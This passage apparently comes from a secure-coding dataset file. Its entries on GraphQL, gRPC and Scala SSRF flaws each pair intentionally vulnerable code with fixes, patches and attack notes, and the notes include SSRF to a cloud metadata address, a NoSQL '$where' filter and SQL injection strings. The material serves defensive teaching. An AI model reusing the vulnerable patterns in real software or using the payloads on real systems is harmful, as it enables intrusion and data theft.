            "+++ b/ProxyController.scala\n"
            "@@ -2,4 +2,8 @@\n"
            "-  Http().singleRequest(HttpRequest(uri = url))\n"
            "+  val allowed = Set(\"api.trusted.example\")\n"
            "+  val u = Uri(url)\n"
            "+  if (u.scheme != \"https\" || !allowed.contains(u.authority.host.toString))\n"
            "+    Future.successful(Forbidden)\n"
            "+  else Http().singleRequest(HttpRequest(uri = u))\n"
        ),
        "root_cause": "Outbound requests follow attacker-controlled URLs with no host allowlist/egress control.",
        "attack": "url=http://169.254.169.254/ reads cloud metadata credentials.",
        "impact": "Internal network access, credential theft.",
        "fix": "Allowlist destinations, enforce HTTPS, block internal ranges.",
        "guideline": "Validate outbound URLs; block internal/metadata endpoints.",
        "tags": ["ssrf", "scala", "akka", "cloud"],
        "metadata": {"domain": "Microservices", "input_source": "query_param", "auth_required": False},
    },
    # ================================================================== GRAPHQL ==================================================================
    {
        "id": "SCP-000079",
        "language": "JavaScript",
        "framework": "GraphQL",
        "title": "GraphQL introspection enabled in production",
        "description": "A GraphQL server keeps introspection on in production, leaking the full schema.",
        "owasp": "A05:2021 - Security Misconfiguration",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-215",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "Low",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "const server = new ApolloServer({ typeDefs, resolvers,\n"
            "  introspection: true });  // Vulnerable: on in prod\n"
        ),
        "secure_code": (
            "const server = new ApolloServer({ typeDefs, resolvers,\n"
            "  introspection: process.env.NODE_ENV !== 'production',\n"
            "  csrfPrevention: true });\n"
        ),
        "patch": (
            "--- a/graphql/server.js\n"
            "+++ b/graphql/server.js\n"
            "@@ -1,3 +1,4 @@\n"
            "-  introspection: true });\n"
            "+  introspection: process.env.NODE_ENV !== 'production',\n"
            "+  csrfPrevention: true });\n"
        ),
        "root_cause": "Introspection is not disabled in production, exposing the schema to attackers.",
        "attack": "Query __schema to map every type/field and find unprotected ones.",
        "impact": "Reconnaissance accelerating attacks.",
        "fix": "Disable introspection in production; enable CSRF prevention.",
        "guideline": "Gate introspection to non-prod; enable CSRF prevention.",
        "tags": ["graphql", "introspection", "javascript", "config"],
        "metadata": {"domain": "REST API", "input_source": "schema", "auth_required": False},
    },
    {
        "id": "SCP-000080",
        "language": "JavaScript",
        "framework": "GraphQL",
        "title": "Broken object level auth in GraphQL resolver",
        "description": "A GraphQL resolver returns a user by id without checking the caller owns it.",
        "owasp": "A01:2021 - Broken Access Control",
        "owasp_api": "API1:2023 - Broken Object Level Authorization",
        "owasp_llm": "",
        "cwe": "CWE-639",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "const resolvers = {\n"
            "  Query: {\n"
            "    user: (_, { id }) => db.users.find({ id }),  // Vulnerable: no owner check\n"
            "  }\n"
            "};\n"
        ),
        "secure_code": (
            "const resolvers = {\n"
            "  Query: {\n"
            "    user: (_, { id }, ctx) => {\n"
            "      // Secure: scope to authenticated user\n"
            "      if (id !== ctx.user.id && !ctx.user.isAdmin)\n"
            "        throw new ForbiddenError('no access');\n"
            "      return db.users.find({ id });\n"
            "    }\n"
            "  }\n"
            "};\n"
        ),
        "patch": (
            "--- a/graphql/resolvers.js\n"
            "+++ b/graphql/resolvers.js\n"
            "@@ -2,4 +2,8 @@\n"
            "-    user: (_, { id }) => db.users.find({ id }),\n"
            "+    user: (_, { id }, ctx) => {\n"
            "+      if (id !== ctx.user.id && !ctx.user.isAdmin)\n"
            "+        throw new ForbiddenError('no access');\n"
            "+      return db.users.find({ id });\n"
            "+    }\n"
        ),
        "root_cause": "The resolver trusts the requested id without verifying caller ownership/role.",
        "attack": "Caller requests other users' ids to scrape PII.",
        "impact": "Cross-user data disclosure.",
        "fix": "Enforce object-level authorization in every resolver using the auth context.",
        "guideline": "Authorize in resolvers by owner/role from the auth context.",
        "tags": ["idor", "graphql", "javascript", "access-control"],
        "metadata": {"domain": "E-commerce", "input_source": "args", "auth_required": True},
    },
    {
        "id": "SCP-000081",
        "language": "Python",
        "framework": "GraphQL",
        "title": "GraphQL NoSQL injection via query arg",
        "description": "A Graphene resolver passes a raw query argument into a Mongo filter.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "API3:2023 - Broken Object Property Level Authorization",
        "owasp_llm": "",
        "cwe": "CWE-943",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "class Users(graphene.ObjectType):\n"
            "    users = graphene.List(UserType, filt=graphene.JSONString())\n"
            "    def resolve_users(self, info, filt):\n"
            "        # Vulnerable: raw JSON into Mongo query\n"
            "        return list(db.users.find(json.loads(filt)))\n"
        ),
        "secure_code": (
            "class Users(graphene.ObjectType):\n"
            "    users = graphene.List(UserType, name=graphene.String())\n"
            "    def resolve_users(self, info, name=None):\n"
            "        # Secure: fixed field, escaped value\n"
            "        q = {'name': str(name)} if name else {}\n"
            "        return list(db.users.find(q))\n"
        ),
        "patch": (
            "--- a/graphql/schema.py\n"
            "+++ b/graphql/schema.py\n"
            "@@ -2,6 +2,7 @@\n"
            "-        return list(db.users.find(json.loads(filt)))\n"
            "+        q = {'name': str(name)} if name else {}\n"
            "+        return list(db.users.find(q))\n"
        ),
        "root_cause": "Arbitrary JSON filter object from the client is used as a Mongo query.",
        "attack": "filt={\"$where\":\"this.role=='admin'\"} escalates or bypasses.",
        "impact": "Data disclosure / auth bypass.",
        "fix": "Expose only fixed, validated filter fields; reject operators.",
        "guideline": "Never pass raw client JSON as a DB filter; validate fields.",
        "tags": ["nosql", "graphql", "python", "injection"],
        "metadata": {"domain": "E-commerce", "input_source": "args", "auth_required": False},
    },
    {
        "id": "SCP-000082",
        "language": "JavaScript",
        "framework": "GraphQL",
        "title": "GraphQL batching abuse for brute force",
        "description": "A GraphQL endpoint accepts batched requests with no rate limit, defeating lockout.",
        "owasp": "A07:2021 - Identification and Authentication Failures",
        "owasp_api": "API4:2023 - Unrestricted Resource Consumption",
        "owasp_llm": "",
        "cwe": "CWE-307",
        "mitre_attack": "T1110 - Brute Force",
        "severity": "Medium",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "// accepts [{query: login}, ...] in one HTTP call\n"
            "app.post('/graphql', (req, res) => {\n"
            "  const batch = Array.isArray(req.body) ? req.body : [req.body];\n"
            "  // Vulnerable: no per-batch rate limit\n"
            "  Promise.all(batch.map(b => execute(b))).then(r => res.json(r));\n"
            "});\n"
        ),
        "secure_code": (
            "const limiter = rateLimit({ windowMs: 15*60*1000, max: 20 });\n"
            "app.post('/graphql', limiter, (req, res) => {\n"
            "  const batch = Array.isArray(req.body) ? req.body : [req.body];\n"
            "  if (batch.length > 5) return res.status(413).end();  // Secure: cap batch\n"
            "  Promise.all(batch.map(b => execute(b))).then(r => res.json(r));\n"
            "});\n"
        ),
        "patch": (
            "--- a/graphql/server.js\n"
            "+++ b/graphql/server.js\n"
            "@@ -1,5 +1,7 @@\n"
            "+const limiter = rateLimit({ windowMs: 15*60*1000, max: 20 });\n"
            "+app.post('/graphql', limiter, (req, res) => {\n"
            "+  if (batch.length > 5) return res.status(413).end();\n"
        ),
        "root_cause": "Batched queries let an attacker try many credentials in a single request, bypassing per-request limits.",
        "attack": "Send 1000 login mutations in one batch to brute force passwords.",
        "impact": "Credential brute force / stuffing.",
        "fix": "Limit batch size and apply per-IP/per-account rate limiting.",
        "guideline": "Cap GraphQL batch size; rate limit auth mutations.",
        "tags": ["rate-limiting", "graphql", "javascript", "auth"],
        "metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": False},
    },
    # ================================================================== gRPC ==================================================================
    {
        "id": "SCP-000083",
        "language": "Go",
        "framework": "gRPC",
        "title": "Missing auth on gRPC method",
        "description": "A gRPC handler exposes a destructive method without checking the incoming context credentials.",
        "owasp": "A01:2021 - Broken Access Control",
        "owasp_api": "API2:2023 - Broken Authentication",
        "owasp_llm": "",
        "cwe": "CWE-306",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "Critical",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "func (s *Server) DeleteUser(ctx context.Context, req *pb.Id) (*pb.Empty, error) {\n"
            "    // Vulnerable: no auth from ctx\n"
            "    return &pb.Empty{}, s.repo.Delete(req.Id)\n"
            "}\n"
        ),
        "secure_code": (
            "func (s *Server) DeleteUser(ctx context.Context, req *pb.Id) (*pb.Empty, error) {\n"
            "    // Secure: require admin claim from ctx\n"
            "    claims, ok := ctx.Value(claimsKey).(*Claims)\n"
            "    if !ok || !claims.IsAdmin {\n"
            "        return nil, status.Error(codes.PermissionDenied, \"forbidden\")\n"
            "    }\n"
            "    return &pb.Empty{}, s.repo.Delete(req.Id)\n"
            "}\n"
        ),
        "patch": (
            "--- a/server.go\n"
            "+++ b/server.go\n"
            "@@ -1,4 +1,9 @@\n"
            "-    return &pb.Empty{}, s.repo.Delete(req.Id)\n"
            "+    claims, ok := ctx.Value(claimsKey).(*Claims)\n"
            "+    if !ok || !claims.IsAdmin {\n"
            "+        return nil, status.Error(codes.PermissionDenied, \"forbidden\")\n"
            "+    }\n"
            "+    return &pb.Empty{}, s.repo.Delete(req.Id)\n"
        ),
        "root_cause": "The gRPC method does not inspect the auth context, so any caller can delete users.",
        "attack": "Unauthenticated client calls DeleteUser repeatedly to wipe accounts.",
        "impact": "Data loss, privilege escalation.",
        "fix": "Enforce authN/Z in interceptors or per-method using the context claims.",
        "guideline": "Authorize every gRPC method via interceptor/context claims.",
        "tags": ["authorization", "grpc", "go", "broken-access-control"],
        "metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": True},
    },
    {
        "id": "SCP-000084",
        "language": "Go",
        "framework": "gRPC",
        "title": "Unbounded gRPC message size (DoS)",
        "description": "A gRPC server accepts arbitrarily large messages with no MaxRecvMsgSize limit.",
        "owasp": "A04:2021 - Insecure Design",
        "owasp_api": "API4:2023 - Unrestricted Resource Consumption",
        "owasp_llm": "",
        "cwe": "CWE-770",
        "mitre_attack": "T1499 - Endpoint Denial of Service",
        "severity": "Medium",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "s := grpc.NewServer()  // Vulnerable: default 4MB; raised nowhere, but no limit set\n"
            "pb.RegisterSvcServer(s, &Server{})\n"
        ),
        "secure_code": (
            "s := grpc.NewServer(\n"
            "  grpc.MaxRecvMsgSize(4 * 1024 * 1024),\n"
            "  grpc.MaxConcurrentStreams(100))\n"
            "pb.RegisterSvcServer(s, &Server{})\n"
        ),
        "patch": (
            "--- a/server.go\n"
            "+++ b/server.go\n"
            "@@ -1,3 +1,5 @@\n"
            "-s := grpc.NewServer()\n"
            "+s := grpc.NewServer(\n"
            "+  grpc.MaxRecvMsgSize(4 * 1024 * 1024),\n"
            "+  grpc.MaxConcurrentStreams(100))\n"
        ),
        "root_cause": "No explicit upper bound on inbound message size or concurrency invites memory exhaustion.",
        "attack": "Client streams huge payloads to exhaust server memory.",
        "impact": "Denial of service.",
        "fix": "Set MaxRecvMsgSize and MaxConcurrentStreams explicitly.",
        "guideline": "Bound gRPC message size and stream concurrency.",
        "tags": ["dos", "grpc", "go", "resource-exhaustion"],
        "metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": False},
    },
    {
        "id": "SCP-000085",
        "language": "Python",
        "framework": "gRPC",
        "title": "Plaintext gRPC without TLS",
        "description": "A gRPC server starts without credentials, sending traffic in cleartext.",
        "owasp": "A02:2021 - Cryptographic Failures",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-319",
        "mitre_attack": "T1557 - Adversary-in-the-Middle",
        "severity": "High",
        "difficulty": "Beginner",
        "vulnerable_code": (
            "server = grpc.server(futures.ThreadPoolExecutor())\n"
            "# Vulnerable: insecure, no credentials\n"
            "add_svc_pb2_grpc.add_SvcServicer_to_server(Svc(), server)\n"
            "server.add_insecure_port('[::]:50051')\n"
            "server.start()\n"
        ),
        "secure_code": (
            "creds = grpc.ssl_server_credentials((_read_key(), _read_cert()))\n"
            "server = grpc.server(futures.ThreadPoolExecutor())\n"
            "add_svc_pb2_grpc.add_SvcServicer_to_server(Svc(), server)\n"
            "# Secure: mTLS\n"
            "server.add_secure_port('[::]:50051', creds)\n"
            "server.start()\n"
        ),
        "patch": (
            "--- a/grpc_server.py\n"
            "+++ b/grpc_server.py\n"
            "@@ -1,5 +1,6 @@\n"
            "+creds = grpc.ssl_server_credentials((_read_key(), _read_cert()))\n"
            " server = grpc.server(futures.ThreadPoolExecutor())\n"
            "-server.add_insecure_port('[::]:50051')\n"
            "+server.add_secure_port('[::]:50051', creds)\n"
        ),
        "root_cause": "The server uses insecure credentials, exposing RPCs (and tokens) in cleartext.",
        "attack": "On-path attacker reads or modifies RPC payloads including auth tokens.",
        "impact": "MITM, credential/data interception.",
        "fix": "Use TLS (preferably mTLS) for all gRPC channels.",
        "guideline": "Never run gRPC insecurely in production; use TLS/mTLS.",
        "tags": ["tls", "grpc", "python", "mitm"],
        "metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": True},
    },
    {
        "id": "SCP-000086",
        "language": "Go",
        "framework": "gRPC",
        "title": "SQL injection in gRPC handler",
        "description": "A gRPC method builds a SQL string by interpolating a request field.",
        "owasp": "A03:2021 - Injection",
        "owasp_api": "",
        "owasp_llm": "",
        "cwe": "CWE-89",
        "mitre_attack": "T1190 - Exploit Public-Facing Application",
        "severity": "High",
        "difficulty": "Intermediate",
        "vulnerable_code": (
            "func (s *Server) Find(ctx context.Context, req *pb.Q) (*pb.Rows, error) {\n"
            "    // Vulnerable: string concatenation\n"
            "    q := \"SELECT * FROM t WHERE name = '\" + req.Name + \"'\"\n"
            "    rows, _ := s.db.Query(q)\n"
            "    return rows, nil\n"
            "}\n"
        ),
        "secure_code": (
            "func (s *Server) Find(ctx context.Context, req *pb.Q) (*pb.Rows, error) {\n"
            "    // Secure: parameter binding\n"
            "    rows, err := s.db.Query(\"SELECT * FROM t WHERE name = $1\", req.Name)\n"
            "    if err != nil { return nil, status.Error(codes.Internal, err.Error()) }\n"
            "    return rows, nil\n"
            "}\n"
        ),
        "patch": (
            "--- a/server.go\n"
            "+++ b/server.go\n"
            "@@ -2,5 +2,6 @@\n"
            "-    q := \"SELECT * FROM t WHERE name = '\" + req.Name + \"'\"\n"
            "-    rows, _ := s.db.Query(q)\n"
            "+    rows, err := s.db.Query(\"SELECT * FROM t WHERE name = $1\", req.Name)\n"
            "+    if err != nil { return nil, status.Error(codes.Internal, err.Error()) }\n"
        ),
        "root_cause": "User-controlled field concatenated into SQL instead of bound parameter.",
        "attack": "Name=' OR '1'='1 dumps all rows.",
        "impact": "Data disclosure.",
        "fix": "Use parameterized queries in gRPC handlers too.",
        "guideline": "Parameterize SQL everywhere, including RPC handlers.",
        "tags": ["sqli", "grpc", "go", "injection"],
        "metadata": {"domain": "Banking", "input_source": "rpc", "auth_required": False},
    },
]